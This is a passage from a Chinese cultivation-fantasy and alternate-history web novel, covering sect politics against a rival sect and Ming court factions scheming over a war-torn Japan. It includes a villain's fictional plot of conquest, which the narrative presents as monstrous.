而这事,明显就是‘无情山’行事过于霸道无理了,就算直接开打也不是不行。 一些为了自己的利益,从而引发的必要争斗摩擦,就算是闹到书院面前也无话可说! “当初,跟‘黄风谷’选择交易,而不是选择开战,一来是掌门还在闭关,不易产生冲突。二来‘黄风谷’是想要利益。” “既然能用利益谈成的事,自然不是问题,也不需要大动干戈,反而还能得到更多利益,”说着,嘉靖环视众人一圈,语气温和道: “比如,现在的野市!” “此一时彼一时,如今掌门出关,就算开战,我们也不惧与旁人争斗。” “再加上‘无情山’根本没有谈判的意思,完全是拒绝的态度,我们也只能出此下策。” “没错!”听完嘉靖这一番有理有据的剖析后,刘权也极为赞同的点了点头。 “既然她们不愿意打开道路,那就就算是主动与之开战,也要强行轰开一条道出来。” “大不了闹大了,书院降罪下来,让书院来评理,我们这是为了宗门发展,无情山欺人太甚在先,就算打杀了几个人也不怕!” “只要不动对方核心传承,和击杀掌门,也闹不到多大。” 此刻刘权对这个油盐不进,全是女修的宗派,可以说是恨意十足,恨不得直接开战,狠狠教训一番这些不知好歹的女修。 至于她们背后,可能存在的强大背景,他一时倒也顾不上这些了。 就算背后是中原大宗又如何,还能强行来这大荒,对大明出手不成? 除非他们是不顾书院的颜面。 但不用想都知道,就算是中原大宗,也没有这个胆子! “野市中,是有书院的人坐镇吗?”嘉靖又看向刘权问道。 “有!但不是坐镇四方城白马楼里的那位长老,而是一个年轻人,在野市中开了一家书铺,看起来很是和善。”刘权立刻道。 “嗯,既然出手了,就一定要把事做成!”嘉靖抬了抬手指,靠坐在椅子上,浑身说不出的惬意和轻松,对刘权吩咐道: “要提前跟书院的人打好招呼。” “此人能被派来坐镇野市,必然跟四方城,白马楼内,书院坐镇的长老沾亲带故。” 坐镇四方城,也就是在变相的告诉周围这一片地域所有宗派,四方城这一区域都要听他的。 现在‘大明仙宗’跟‘御兽门’合伙开了野市,自然也要受对方庇护,或者说管辖。如今能被派到野市的那个年轻人,身份必然不简单。 “哪怕是牺牲一些利益,也要达成目的!” “放心,我明白先生的意思!”刘权给嘉靖投来一个放心的眼神。 之前跟黄风谷的谈判中,事前事后,嘉靖都教了刘权不少东西,他自然也成长了不少,此时听到嘉靖这么说,自然明白其中意思。 此时大殿上,所有人都在静静的看着嘉靖和刘权,尤其是听着嘉靖对接下来,针对‘无情山’的布局,都不禁感慨。 先生做事,当真是滴水不漏! 在场的一众高层中,独孤三兄弟,对这些完全是一窍不通,反正就一个感觉,那就是每次嘉靖说话,都给他们一种如饮美酒的感觉。 只觉得嘉靖做事很有条理,一步一步,按部就班的去得到最终想要的东西。 他们相信,这次‘无情山’的困局,在嘉靖的安排下,定然都不是问题。 至于老实又木讷的宋薪柴,他就是个管后勤资源发放,以前山寨的管家,对这些自然也不甚了解。 之前嘉靖能说服‘黄风谷’,并开设了一座野市,为大明带来额外收益,已经证明了自己的能力,他自然是选择相信的。 而见过一些世面的柳源,虽然在经过告知后能明白嘉靖的考量和每一步,但他自认如果让自己跟‘黄风谷’谈判,并做到如今这一步。 嗯,他肯定是不行的! 至于刘权,那早已经是将嘉靖视作是解决不了问题就能来找的靠山。 此刻见嘉靖要出手对付‘无情山’了,自是无条件的信任与支持了。 “不知掌门意下如何?”说完自己的打算后,嘉靖看向上方的独孤英。 “俺?”正听着的独孤英,听到嘉靖突然问自己的意见,不由一愣,而后脑袋当即摇的跟拨浪鼓一样,瓮声瓮气道:“没意见!” “之前俺早就说过了,宗门事务大家各司其职,经营和发展上就交给先生跟大刘。” “老宋负责修行资源管理,柳老负责飞梭,老二跟老三一个负责灵脉梳理一个负责宗门安全和防御,这些都定好了。” “所以这对‘无情山’一事上,就由先生全权安排就是,若是有用得上谁的,所有人都配合!”独孤英大手一摆,当众放权。 “就是,先生怎么安排,俺们怎么做就是!”独孤雄和独孤汉也一同瓮声开口。 至于老实人宋薪柴跟手艺人柳源,也都对嘉靖点头,表示对这些安排没有任何异议。 他们一个负责后勤,一个负责手艺,这些宗门经营和发展,自然是谁爱管谁去管。 他们只想把自己的事做好,旁的实在是精力有限! “那便如此办吧。”嘉靖点了点头说道。 对付这种,确实如独孤英等人所想那般,他心里毫无压力。 他最不怕的就是在规则内的争斗。 “好了,既然该谈的都谈完了,俺这里也有些东西,要给先生。”这时,等所有事都谈的差不多后,独孤英笑着站起身。 “唰!”只见独孤英大手一挥,继而就见一道血光闪过。 跟着嘉靖就看到他面前出现了半扇血肉,长足有两米,血淋淋的,似乎是半只没了头的牛? 不过奇怪的是,这半扇血肉上,非但没有任何的血腥味,反而还有淡淡的清香。 “大刘、老宋和柳老,俺都已经把东西给了,这半扇肉是‘狻猊牛’的肉!” “狻猊牛?”嘉靖投去一个好奇的目光。 “呵呵,”这时独孤英憨厚的笑着为嘉靖解释,道:“先生别误会了。” “这东西跟传说中的神兽狻猊,可没有半点关系,就是个修为初入金丹的古兽。只因为长相酷似狻猊,所以才这么叫的。” “不过这浑身的血肉确实是宝。” “血肉中蕴含的灵力炼化之后,效果可不比吸收几千两灵源来的差。” “先生如今已经突破到了练气六层,有这半扇‘狻猊牛’的血肉,怕是很快就能突破练气七层,甚至是练气八层。” “若不出意外,一年半两年之内,辅以‘筑基丹’顺利突破筑基应该不成问题!” 随着独孤英的介绍,柳源也是羡慕的看着那半扇‘狻猊牛’的血肉。 不过他知道,这是掌门自己特意省下来给朱先生的,而且他此前也得到了好处,接下来突破练气七层,或许不是问题。 如此一来,他倒也不用面对嘉靖这个后来居上的同境界之人,感到尴尬了。 听到独孤英这么说,饶是嘉靖,看着面前的半扇血淋淋的‘狻猊牛’的血肉,也不禁双眼放光,原本他计划三年内筑基。 如今有了这半扇‘狻猊牛’的血肉,怕是一年半载,两年内就能突破了。 足足提前了一年甚至更早! “朱聪,谢掌门!”平复心中情绪后,冷静下来的嘉靖,看向独孤英,当即拱手致谢。 “哈哈,先生不必客气,能者多劳,自然也要多得,再说您在修行一途上,也是个不可多得的天才,于公于私,这些都是您应得的!” 独孤英大笑着摆手,示意嘉靖不必客气。 “先生还是尽快收起来吧,这东西放在外界久了,难免会流逝一些血肉灵力。” “那朱聪就却之不恭了!” 听到独孤英这么说,嘉靖也不客气,大手一挥,将这半扇‘狻猊牛’的血肉,收入储物袋之中保存起来。 储物袋不能储存活物,但死物放进去,却能起到保鲜,和保证灵气之物不流失的效果。 “……” 第一百二十三章 代理战争?严党和清流在玩一种很新的东西?(二合一) 该谈的事情交谈完毕后,嘉靖便在刘权的相送之下,回了传承阁。 “先生,那事不宜迟,我这就去一趟野市,找找那个书院弟子。”在传承阁将嘉靖放下后,刘权没有多逗留,就要去野市。 “去晚了,我怕迟则生变。若是‘无情山’那帮娘们提前报备给书院的话,我们就算是想去清理荒地,也没有了资格。” 听到这话,嘉靖点了点头,“去吧。”说着,又像是想到了什么,拿出了储物袋,道:“再去帮我买三张高阶符箓。” “哎,先生!”见嘉靖要掏灵源,刘权当即抬手制止,“你我之间,何须如此?” “不就是三张高阶符箓吗?我还付得起账。”说着,刘权咧嘴一笑,抬手将嘉靖拿储物袋的动作按下,道:“先生要什么符箓?” 见刘权态度坚决,嘉靖严肃的脸上面容渐宽,微微摇头道:“那我就不跟你客气了。” “一张土属性的攻击符箓,一张水属性的攻击符符箓和一张御空符箓。” 这次,即便明确接下来要准备突破筑基,届时就可以以自身修为御剑了,但御空符箓这种东西,嘉靖还是打算再备着一张。 虽然他很大可能会一直呆在宗门之中,不会贸然在宗门外闯荡,但万一有需要出去,若是突遭意外的话,御空符箓就是逃命的东西。 这种用来逃命的底牌,自然是不嫌多的。 “成,我这就去了。”刘权说着,收起飞毯,然后抛出一道流光,下一刻就见一艘重五十石,长十五丈,宽六丈的小型飞梭出现。 梭体外层似乎是特殊的灵木制材料,饰以金色的藤蔓图案,有种古朴温暖的感觉。 梭身上隐隐有道道金色的流光浮动。 梭体的前端,装有精致的不知名兽形雕刻,尾部则是一对轻盈的翅膀状装饰。周围围绕着一圈低矮的木栏杆,木栏杆上镶嵌有特殊的宝石。 宝石上散发出道道能量,将这个甲板裹住,形成一个阻挡罡风的能量护罩。 这飞梭正是刘权花五万两灵源购买的座驾,专门出去谈事用的,平常时候他都是坐飞毯。 “好歹也是要见书院的人,说不定还要去四方城白马楼吃饭,总不能太寒酸了。”刘权迎着嘉靖的目光笑了笑,然后跃上了飞梭。 “先生,走了!”声音从飞梭上落下,然后随着飞梭发出阵阵轰鸣,空气震动,飞梭通体流光闪烁,而后迎着远处血红的残阳而去。 目送飞梭离去后,嘉靖这才背着手,转身步入传承阁内,不过刚进门就迎上了一个少年。 这少年只有十二岁,生的浓眉大眼,面相看起来方正而忠厚。 一身墨绿色的麻衣,让其看起来越发的稳重,手捧一卷名为《剑道通识》的书籍。 对这个少年,嘉靖自然是有印象的。 徐时行。当初他暗定的三个未来心腹之一。 也是当初那十二个孩子中年龄最大的。 “徐时行,见过先生!”看到嘉靖,徐时行恭敬的躬身行礼。 “嗯,”嘉靖点了点头,看着徐时行,道:“为何刚才不现身?” 听到嘉靖的问话,徐时行一怔,不过还是立刻躬身回答,道:“回先生,时行以为,当时并不是出来见礼的时机。” “说说。”嘉靖沉着的面容微缓,语气中带了几分考校意味。 “先生与大长老或许有要事相谈,时行若是露面,恐怕会打扰先生与大长老。”徐时行说出了自己当时的考量。 “那若事关宗门机密,你听到了又该如何?”嘉靖又问道。 “这,”被嘉靖这么一问,徐时行一滞,忠厚的脸上,有迷惘之色浮现,然后摇头道:“弟子不知,还请先生示下。” “要么提早出来见礼,要么当做什么都不知道,继续看你的书,”嘉靖看着徐时行,语气严肃的告诫,“若听到机密,就更不应现身。” “然后将这件事压下来,不要告诉任何人。”嘉靖微微俯身,凝视着徐时行,道:“记住了吗?” “弟子…记住了。”徐时行先是迟疑,然后又重重点头。 “你似乎还有话要说。”嘉靖面容微缓,道:“有什么疑问,尽管问来。” “弟子不明白,”徐时行说着,略带迟疑和不解道:“先生是要时行保持警惕和戒备吗?” “可是在宗门中,对师长也要避讳,心怀戒备吗?” 徐时行有些不明白。 他觉得自己刚才的处理方式很正确。 他虽然是十二个孩子里最大的,看起来也稳重,可在人情世故方面,还浅了些。 “是分寸。”嘉靖抬起一根手指,肃容道:“师长也是人,也有秘密。” “既然是秘密,那就不能被任何人知晓……这点,你要牢牢记住了。” “你可以对师长没有秘密,但不代表师长不能对你没有秘密,反之亦然。” “既然撞见了,就要有更好,更得当的处理方式,正如刚才,你最正确的做法,应该是立刻出来拜见,而不是暗中等候。” “如此,就能避免很多不必要的麻烦。没有秘密倒也罢了,若是真有秘密,就会给师长留下一个听墙根的印象,难免生厌猜疑。” 听到这里,徐时行身体一颤,有些紧张的看着嘉靖,开口就要解释,却被嘉靖抬手打断,道:“我不是在怪罪你,而是在教你。” 徐时行性格稳重,他能想到师长有事相谈,自己应该回避,不打扰,这是十二岁孩子,正常的人际关系处理上的一种思考。 不过,这种人情世故,还有背后的一些人性思考,能想到的依旧有限。 一番话说完,徐时行低头思考着。 见此,嘉靖也不言语,只是静静等着。片刻后,徐时行抬起头,对着嘉靖躬身一礼,道:“弟子明白了,多谢先生教授。” 有些事情,需要言传身教,才能明白,只需要一次,他就会牢牢记住,日后更加成熟稳重。不过,嘉靖想再教他一些更复杂的东西。 “其实,你还应该有另外一种想法。”嘉靖抬手将徐时行扶了起来。 “另外一种…想法?”徐时行稚嫩的面庞上浮现出一抹不解之色。 “在无意中听到的秘密中,思考分析,然后找到对自己有利的内容加以利用。”嘉靖说着,拍了拍徐时行的脑袋,见他瞪大的眸子,笑了笑,道:“这就是你今日的居学了。” (注:居学,出自《礼记·学记》:大学之教也,时教必有正业,退息必有居学。简单来说,就是可以理解为课后作业。) “回去什么时候想明白了,什么时候来告诉我。”说完,嘉靖也不管惊讶的徐时行,转身进传承阁,而后大袖一甩“嘭”的关上了门。 听到关门声,被“今日居学”四个字弄的一愣的徐时行顿时回过神,朝身后看去。 饶是他向来稳重成熟,也不由愕然。 他还没想明白,怎么好好的,被先生单独教授了一课不算,还有单独的“居学”布置下来? 虽然有些发懵,不过徐时行还是对着传承阁紧闭的大门躬身行了一礼,然后离开。 一路来到传承阁顶层第六层。 传承阁的顶层整体布局呈“皿”字。 左边是几排空荡荡的书架和一些桌椅,供人学习,中间是会客厅,最右边则是嘉靖内室。 嘉靖没有回内室,而是来到了会客厅,靠窗边的榻上,推开有晚霞透过缝隙进来窗户,大片大片的橘黄色的晚霞照进来。 “呼!” 一缕清风吹拂而来,看着远处群山雾涌翻滚的茫茫大山翠林,嘉靖享受着这一刻的宁静,片刻后心中宁静消散,闭上了双眼。 意识来到了识海之中,本命大明跟前。 看着眼前相较于之前的大明,完全称得上一句大变模样也不为过的本命,嘉靖面上有满意之色浮动,大手一挥本命放大。 嘉靖的视线来到了西苑玉熙宫后的院子。 果然看到吕芳在灵田小院右边的院子里,盘腿而坐,安静的修炼着,倒是没有祷告什么,显然这三个月的时间里,大明并未有什么变故。 而后,嘉靖的视线又来到海瑞府上。 他离开的时候,大明还是正月,如今三个月过去了,屯兵兴农的国策早已经落实下去。按照之前的安排,海瑞自然是回到了京城。 不过这次,他担任的是吏部尚书。 之前的吏部尚书,林安国在嘉靖四十一年,因结党营私,被削籍为民。 这个位子,严党和清流都想安排自己的人上去,不过却被嘉靖给否了,这是他留给海瑞的。 有海瑞坐镇吏部,严党和清流两派在接下来新生大明安插的官员数量才会收敛可控。 如今海瑞就是自己手里的一把剑,一些安排他离开的时候,就已经让吕芳去办了。 也因此,海瑞从大同回来后,办的一些事情却让很多人不满,其中有严党也有清流。 “刚峰,我实在想不通,严党安插自己的人做宁波府知府,你怎么就同意了?”王用汲拍了拍手,看着在书桌前写字的海瑞,满脸不满。 “杭州杀了一个马宁远,裕王的人顶了上去,”海瑞头也没有抬,手中大笔继续勾勾画画,道:“宁波府理应轮到景王的人了。” “刚峰,”王用汲听到这话,顿时摆手道:“账可不是这么算的!” “最近的事,你听说了吗?”王用汲上前道:“尾张国的织田信长和甲斐国的武田信玄,可都派了使者来我大明拜访了。” “哼!”然而听到这话,海瑞却是冷哼一声,道:“区区弹丸之地,也敢谬谈为国?那是倭寇,不是什么国!” “呵,”听到海瑞这话,王用汲也是一愣,而后摇头发笑,“确实可笑。”说着,又道:“是不是国先不论,先说这次的事!” 王用汲的神情凝重起来。 “我可是听说了,织田信长的使者拜访的可是景王殿下。你可知道,这说明了什么?”见海瑞不搭话,王用汲语气严肃道: “说明严党布局了蒙古草原之后,又开始要布局日本岛了……”王用汲还在说着,突然发现海瑞抬头看着他,直看的他头皮发麻才道: “刚峰,为何如此看着我?” “明受,你已经确定要站在裕王一边了吗?”海瑞没有说别的,而是开口直言道。 被海瑞这么一问,面对那仿佛如刀子一般,可以看透人心的目光,王用汲身体一怔,沉默片刻后,深吸一口气吐出,道: “刚峰,现如今,不论是严党或者是清流,都不会损害国家利益,这点你明白的。” “我自然明白,他们没有这个胆子。”海瑞点了点头,而后从桌子后走出,来到王用汲跟前,抬手搭在这个挚友的肩膀上。 “我并不是怪你,各为其主……”说着,海瑞又笑了笑,拍了拍王用汲的肩膀道:“这些日子以来,关于朝廷,关于治国,我想了很多。” “也越发明白,每个人都有自己的道路要走。” “景王也好,裕王也罢,所有人都要服从于一个人的意志,那就是皇上……”说到这里,海瑞不再言语,但王用汲明白。 帝王之道,在于平衡,皇帝跟皇子之间,天然的就有权力之争,所以皇上需要他们斗! 不过,这种争斗被控制在了皇上的意志之下,为皇上的意志而服务,结果正如现在,大明变得越来越好了。 而这,也是他王用汲最终决定站队的原因,他除了能坚守本心,做个好官之外,他也是个人,只要是人就有私心。 虽然内阁对包括六部高层在内的所有人做了封口令,也让大多数人不信仙人之说。 可身为裕王府詹士,再加上有海瑞这一层关系,裕王对他也进行了拉拢,进入了核心圈层。 所以,他也有了其他的目标! “刚峰兄……”看着面前丝毫没有失望和不虞之色的海瑞,王用汲心中突然一阵愧疚。 说好的,要跟海瑞一起当孤臣,成为朝堂之上,牵制清流和严党两派的第三股势力的。 但这条艰难之路上,终究是自己抛下了刚峰兄一个人,面对这一切。 当然,他心里更清楚,自己跟海瑞不一样,海瑞是皇上一个人的剑,而自己跟在海瑞身后,要么被庇护此生泯然于众。 要么,加入裕王一方,期许未来踏上仙道,长生。 至于海瑞,他不担心,如今想来,所有人都明白了,恐怕他早就得了皇上赐下的仙缘。 “好了,说正事,”海瑞笑了笑,说着来到窗前,看着渐亮的天际,道:“想必裕王殿下是不会让景王殿下得逞的了……” “所以,武田信玄的使者也拜访了裕王吧?” 收敛情绪的王用汲见海瑞如此说,眉头一挑,道:“刚峰兄,你都知道?” 看着海瑞眼神中的笑意,王用汲摇头,道:“看来,皇上给了你很大权利……” “不过,我只能告诉你,严党看上日本了。”说着,王用汲点了点头,道:“我只能告诉你这么多,想必你也能猜到。” “亦思哈·哈喇一事,让景王殿下在蒙古草原各部占了先机,日本岛裕王殿下不会放过。” “现在的日本最强的两个势力毫无疑问是武田家统治的甲斐国和织田家统治的尾张国。” 听到这里,海瑞若有所思,的接过话。 “他们想得到大明的支持,帮助他们吞掉另一方,甚至是其他大名的势力?” “而我大明,如今国力强盛,皇上不但肃清吏治,军需充足,更是免税三年上下一心。” “从东南沿海的诸国商人面对丝绸涨价,也是丝毫不敢讨价还价,更是对大明尊敬有加就能看出来,大明的国威再次上涨!” “甚至隐隐有恢复永乐盛世之荣光!” “若是这个时候,得到了大明支持,那他们在诸国之间的地位就会得到认可,如此就会占据一些名义上的便宜,更好的完成统一!” “若是能得到大明的一些军火、财力的支持,那就更好了,是不是?” “确实如此。”王用汲点了点头。 “那裕王殿下是什么意思,打算怎么谋划日本?”海瑞好奇的看向王用汲。 嗯,这点,他还真想不到,两派打算怎么在他国提前布局。 “徐阁老提出在日本驻军!”王用汲严肃道。 在日本驻军?听到这话,海瑞也不由一愣,几乎是以为自己听错了。驻军然后呢? “刚峰兄,再多的恕我不能告诉你了,我说的已经够多了。”王用汲说着摇摇头,道:“今日来,主要是跟你发一通牢骚。” “顺便谈谈心,此事便不再说了,听说你有皇上赏赐的美酒?不如拿出来尝尝?” 看着王用汲如此,海瑞本能的认为,裕王他们肯定不会是简单的驻军日本,帮助武田家统一日本,必然还有更深的玩法! 不过,他也不愿意为难好友,当即一笑,道:“那可是灵酒,你有福了!” 灵酒?!听到这话,王用汲双眼陡然一瞪,而后失声道:“灵酒,这…可以吗?” 灵酒、灵果、灵米、灵瓜,这些词,已经是裕王府核心圈层开会,必挂嘴边的时髦东西了。 他身为新晋核心圈的“萌新”,自然是听的极为向往,嗯,这些阁老们似乎有意无意的在自己面前炫耀一般。 有时候,他都觉得,这些人看自己的眼神,就像是看一个凡人一样,明明他们也是凡人,但那种淡淡的优越感,让他很是郁闷。 他知道,只因这些阁老,定是吃过这些仙家之物,才会如此表现了。 他也想吃,可是这些灵物,裕王殿下都用的紧紧巴巴的,偶尔才会拿出一壶灵果泡的茶,跟诸老们分享,根本轮不到他。 嗯,他的待遇也相对提高了的,以前裕王舍不得喝的美酒,上等好茶都给他了。 可是,这些凡俗之物,跟灵茶相比,毫无意义,他也想尝尝灵茶好吗! 现在听到海瑞竟然要请自己喝灵酒,嗯,这个“灵”字,直接触动了他的敏感神经。 不过很快,他又冷静了下来。 海瑞的灵酒,显然是皇上赏赐的。 未经过皇上允许,他可以贸然饮用吗?他可不想因此而给挚友带来麻烦。 见王用汲如此,海瑞心中一暖,笑着从一旁上锁的柜子里,拿出一个玉盒。 看到玉盒,王用汲的呼吸也不由急促。 一双眸子,从海瑞拿出玉盒开始,就没有移开过,心脏不由的“嘭嘭”直跳起来。 灵酒啊,他真的可以喝吗?从此以后,他也可以在诸老面前,挺直腰板了? “放心吧,吕公公说了,这酒我自行处理,”说着,海瑞突然语气严肃而感激道:“而且,皇上还赏赐了家母和妻子仙丹。” “助他们调养身体……”说着,海瑞一顿,看向王用汲,道:“放心吧,我只跟她们说是宫里的国师炼制,赐予的补药。” “吕公公说了,这些灵酒,我可以自行处理,而且皇上也不会因为这点小事就怪罪我的。”说着,海瑞打开玉盒,拿出玉制酒壶,和一个玉制的小酒杯倒了一杯。 一股浓郁酒香,让王用汲忍不住闭上眼,开始猛吸了起来,满脸的陶醉。 “刚峰兄,仅仅是嗅一嗅,我已经仿佛要升天了,舒服,太舒服了……” “呵,”看着王用汲这一副模样,海瑞没好气的笑骂一声,“瞧你这没出息的模样,你放心,今晚这壶酒,就是给你准备的!” “原本这灵酒,放在我等凡俗之地,自然是无法保存的,因此我当日只拿了仙丹给老母和妻子服用,灵酒灵果都放在了宫里保存。” “今日知道你要来,所以我就去玉熙宫,找吕公公领了这份赏,便宜你了!”说着海瑞将酒杯递给王用汲,后者再也忍不住一把拿过。 一仰头,而后送入口中。 一口下肚,王用汲整个人直接呆滞在原地,脑袋向后,整个人陷入了一种迷醉状态中。 见此,海瑞也不理会,他第一次在宫里,喝灵酒的时候,也没比王用汲好到哪里去。 可以说,浑身上下,由内而外的舒爽,足以让任何人为之失态。 海瑞跟王用汲推杯换盏的时候,此时严府,严嵩的书房里,严嵩父子正在商议着。 “爹,武田家的那个使者,被裕王殿下接见了。”严世蕃说着,眼神阴冷道:“我们还是被清流那些人给盯上了!” 说着,严世蕃突然像是想到了什么,看向严嵩,道:“爹,您说,徐阶他们有没有识破我们的打算?若是被看破了,必然也会效仿……” “哼,”正在拿着笔,处理公文的严嵩抬了抬眼,撇头斜睨了儿子一眼,哼笑一声,道:“肯定是看破了,你当徐阶是傻子吗?” “那怎么办?”听到这话,严世蕃顿时一急,道:“那日本岛,可是我们严家的!” 嗯,小阁老已经将日本岛,看做自己的私产了。 “原本计划的好好的,明着扶持织田信长,派大明驻军,暗地里再扶持一些大名,让日本长期陷入混战,等人死的差不多了,把人随便赶出去到一些岛上自生自灭……” “留下一国之地全部当灵田用!” “到时候上交给朝廷和景王六成,剩下的四成入我们严家的账,要是老徐这帮讨厌的家伙也这么打算,那这不是……”说着,严世蕃一急,左右看了看,拍了拍手,道: “这不是把到嘴的肉,分人家一口吗?不对,不是一口,是一半!” “爹,想想办法呀!” 看着急躁的儿子,严嵩哼笑一声,也不理会他,而是继续慢条斯理的用笔勾勾画画着。 直到严世蕃等的不耐烦后,严嵩这才清了清嗓,然后慢吞吞道:“日本内部众多大名建国,相互征伐,野心勃勃,都想吞并对方。” “控制了骏河、远江、三河三国的今川家、独霸甲斐国的武田家、尾张国的织田家……” 严嵩慢吞吞的说着,眼皮都没抬,却是将日本如今的混乱局势,如数家珍一般说出来。 “爹,您的手,早伸过去了?!”听到这话,严世蕃瞪着眼,愕然的看着老爹。 什么时候?要不要这么快? “呵,”听到这话,严嵩斜睨了眼儿子,笑的像是一只老狐狸,只是道:“猜,好好猜!” 看着这一幕,严世蕃猛的一怔,而后倒抽了口气,道:“您不可能这么快的!” “除非,除非您早就在那边有安排?不,不对……”严世蕃说着,摇了摇头,而后突然像是想到了什么,道:“朱纨案!?” “之前清流说,朱纨案是东南官场走通了您的关系,您又说是徐阶顺水推舟,你们互相默契配合促就朱纨之死……” “而朱纨案的根本是,他为了对付倭寇要禁海。而倭寇又多是东南那些家族监守自盗……”说着,严世蕃顿时恍然道: “爹,东南倭寇这里头,也有你的一些手笔?!” “当年我让汝贞去诏安汪直,原本已经成功了,可惜的是东南官场不希望汪直被诏安的。” “当时汪直势力空前,更是自封徽王,麾下船团,诸如毛海峰、徐元亮,徐惟学等……” “若是控制了这股势力,等同于东南在海上,基本上就算是太平了。” “如此一来,倭寇之患没有了,私开海运一事自然也就会暴露在大庭广众之下。” “所以,汝贞也因此遭到了东南官场的弹劾和诬陷说他收受汪直的贿赂,”说着,严嵩目光向前,像是在回忆什么,道: “跟汝贞相比,区区一个汪直,弃便弃了,而且我也有了其他打算,便让汝贞上疏严惩汪直,原本的招安变成了治罪……” “如此一来,毛海峰等船团自然也就望风而逃,从此不再受控制,倭寇之患这张大幕,再次成形,沿海地区又陷入了大乱。” “整件事中,东南那些人有了遮羞布,而我们得到了汝贞永远坐镇东南的好处!” “只要东南乱,汝贞就能一直坐镇,保证东南沿海的安定,我严家就有支柱了,算是关键时候,让朝廷明白,严家不能倒下去,呵!” 说着,严嵩又笑着摇摇头,道:“不过,现在的一切,都过去了,翻篇了。皇上他什么都清楚,过去的也就过去了……” “所以,爹的意思是,当年汪直旧部的一些人,一直在日本,他们其实也是您的棋子?” “些许闲棋罢了,”严嵩笑着放下手里的公文,又拿起一份,道:“自汪直死后,局势大变,很多人都不受控制,最近才重新联系上。” 听到这一番解释后,严世蕃终于明白过来,为什么老爹能提前布局了。 原来不是提前布局,摸清日本的局势,而是从要布局日本的时候开始,就联系了那些闲棋。 “可是爹,徐阶是怎么知道的?”严世蕃说着,语气一顿,道:“也跟爹你一样?” “是了,虽然东南官场被连根拔起,徐阶家族也退还了所有土地,可经营如此之久,他们必然也有养着的‘倭寇’棋子。” “爹,您所有的招式,都让徐阶看穿了!” “裕王入场了,想要让他放弃是不可能了,日本如今正是混乱中,”严嵩说着,抬头看向严世蕃,语气中有股莫名的淡漠意味,道: “计划提前吧,明日告诉景王殿下,织田信长的要求,我们答应了。” “原本我还想着,怎么让内阁那些人同意对干涉日本境内局势,帮助某个家族呢……现在倒好了,既然大家目标一致,那就简单了。” “等会你就去联系那些棋子,去联系日本境内的一些大名。” “务必要让日本长久的陷入战乱中。” “等大明国力彻底恢复后,到时候再派驻军过去,如此多方内乱持续下去……” “嗯,日本有多少人口?”严嵩看向严世蕃。 “这个具体不清楚,不过应该是三五百万吧?长时间的战乱,领主争霸,死的会更多。” “左右不过这些人,时间可以抹平一切,等人都剩下的差不多了,到时候再让驻军平推过去,至于剩下的人口,就赶去海上吧。” “把那座岛空出来,用作我大明的一块灵田。” 一番话说的轻描淡写,仿佛不是安排数百万人,而是在抹去一片尘埃一般。 “对了,还有朝鲜、安南、真腊暹罗、占城这些小国,虽然有不少视我大明为宗主国,但从嘉靖二十几年开始,就不再诚心了……” “可以如法炮制,先让他们乱起来。” “就像是饿了要吃饭,但饭要提前做嘛,呵呵……”严嵩说着,面容上笑的很是慈祥。 然而看着眼前的老爹,严世蕃却仿佛看到了一个极度贪婪,已经没了人性的怪物。 这么吃下去,会不会太撑了点?嗯,小阁老现在都觉得,老爹的胃口太大了。 他怕撑着了,不过转念一想也对,资源就那么多,交给仙人,交给皇上,交给国家,交给二位殿下,到了他们这些人手里还剩多少? 那灵物资源,虽然他们没有修仙,可自从在景王殿下那里吃过灵米后,以前的山珍海味,他是真的一点都吃不下去了,每天味同嚼蜡。 只觉得以前吃的那些东西,都是泔水! 最重要的是,灵物资源,比如灵米,灵泉,灵酒,灵果和灵瓜这些,吃了还能让身体越来越健康,他现在就怕日后资源少了。 大明境内,他们不敢乱来,那外面可就无所顾忌了,所以必须要让诸国乱起来。 如此,他们才能在最后,进行收割,完成谋国! “看来,以后我们又要跟清流合作了?”严世蕃笑的颇为自嘲。 “记住了,我们什么都不知道!”严嵩面容严肃的看着严世藩。 “知道,心照不宣!”严世蕃自然明白这个道理,面上依旧斗的你死我活。 但背地里,心照不宣的互相配合成全。 “爹,您说皇上要是知道了,会不会怪罪我们?”严世蕃又有些担忧的问道。 “无意义的争斗,让大明损耗,皇上自然会降罪,”严嵩微微摇头,说话间又放下一份公文,道:“不过若是能给大明,给皇上赚到更多的‘钱’,皇上岂会怪罪?” “皇上,还是那个皇上。” “若说改变,那就是以前的皇上想要凡钱来玄修,现在真的踏上仙途了,就需要真正的修行资源了,可上交仙人后,皇上还能满足吗?” “所以这个时候,就轮到我们严家,为君分忧了,为皇上遮风挡雨了……” “办好了,是我们应该的,办不好,我们也要做好被皇上降罪的准备。” “这就是我严家存在的意义!” 听到这话,严世蕃点了点头,自从皇上改变后,老爹就一直在告诫他一件事,即便他早就记住了,老爹还是说! 那就是,严家是皇上手里的恶犬。一切利益行为,都要想着皇上,先皇上后自己! 只有让皇上吃饱了,他们严家才能跟着喝点汤水,吃点骨头什么的。 …… 与此同时,京城某处。 景王专门为织田信长派来的使者安排的住处。 “藤吉郎阁下,您找我!” 一个留着倭寇特有发饰和胡须的中年男人,进门后,跪坐在一个擦拭着长刀,面容刚毅,年龄只有二十四五岁的青年跟前。 说话的中年人,名叫德川宗右卫门,乃是德川家族的人,不过却是一个政治斗争的失败品,最后加入了织田信长麾下。 这次跟随木下藤吉郎前来出使大明。 “宗右卫门,”名为木下藤吉郎的青年没有停下手上的动作,而是突然道:“今日,大明的景王,召见了我……” “是吗?”听到这话,德川宗右卫门面色一喜,道:“大明愿意帮助我们了?” 看着激动的男人,木下藤吉郎眼底闪过一抹不屑之色,如此年纪,斗不过自己的侄子德川家康,还被赶出家族的失败品,果然愚蠢。 “他说要赐我一个名字……”说着,木下藤吉郎看向满脸诧异之色的德川宗右卫门,道:“丰臣秀吉,你觉得这个名字如何?” 丰臣秀吉?木下藤吉郎略一思索,道:“似乎没有丰臣这个姓氏?” 嗯,他很确定,“丰臣”这个姓氏,没有,至少他们没有听过,或者是什么偏僻之姓? “丰臣,意为“丰饶之臣”,象征着繁荣和富饶。秀吉,这个名字意味着“光辉的繁荣”和“显赫的荣耀”之意。” 听到这里,德川宗右卫门满脑袋雾水,不过他只能静静的听着。 “他想将我收归为己用!”木下藤吉郎,抬眼,眼中似乎是有刀子一般锐利。 “他要你背叛大名?”德川宗右卫门问道。 “这个朱载圳,野心很大,呵!”说着,木下藤吉郎冷笑道:“与大明合作,就是与虎谋皮,稍有不慎,就是引狼入室!” “那,我们该怎么办?”听到这话,脑袋不灵光的德川宗右卫门顿时一紧,道:“要不还是算了吧,现在的大明南北稳定。” “传闻还有仙人相助!” “大明朝廷还在不断的招募精兵,派往东南地区,那些冒充我们的海盗都被肃清了。” “若是我们主动引狼入室,我担心……” 